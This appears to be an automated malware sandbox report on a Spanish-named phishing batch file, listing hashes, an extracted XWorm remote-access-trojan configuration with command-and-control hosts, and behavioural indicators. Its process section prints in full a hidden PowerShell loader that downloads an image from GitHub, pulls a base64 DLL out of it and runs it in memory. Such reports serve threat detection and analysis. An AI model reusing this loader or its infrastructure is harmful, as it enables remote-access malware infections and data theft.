Analysis
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max time kernel
136s -
max time network
175s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
29/10/2024, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
OPERACIÓN DE TRANSACCIÓN FINANCIERA ACH.bat
Resource
win7-20240903-en
General
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Target
OPERACIÓN DE TRANSACCIÓN FINANCIERA ACH.bat
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Size
210KB
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MD5
fc162f6d374e3bce9c3130fdcb6b7307
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SHA1
a874953f738df2b9c59d52d1262aac387bf26fb7
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SHA256
c7b24736650ed6130939821101f4641e1a50a2316f3bbcf974d85c8de585a40d
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SHA512
520bf9202494786604d194bf6b23020231810744bbb405c1177ab7ee30c82633027445c3bb4e464cc690e7d7d0b6daaecd0a5884aeebcd585541d746cdf662e8
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SSDEEP
6144:vZnip76K90FB+Z7VIuArKAgY2aaOOiuauK+yp8:E
Malware Config
Extracted
https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true
https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true
Extracted
xworm
5.0
crypters.ddns.com.br:7000
GGGrHP0Odh89zLnb
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4984-19-0x000002739F1C0000-0x000002739F4B2000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 3 IoCs
flow pid Process 13 4984 powershell.exe 24 4984 powershell.exe 37 4984 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4984 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\trombetada.bat cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\trombetada.bat cmd.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 23 raw.githubusercontent.com 24 raw.githubusercontent.com -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4984 powershell.exe 4984 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4984 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1944 wrote to memory of 4984 1944 cmd.exe 85 PID 1944 wrote to memory of 4984 1944 cmd.exe 85
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OPERACIÓN DE TRANSACCIÓN FINANCIERA ACH.bat"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('joseamayaaa.chickenkiller.com', '1996');"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4984
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82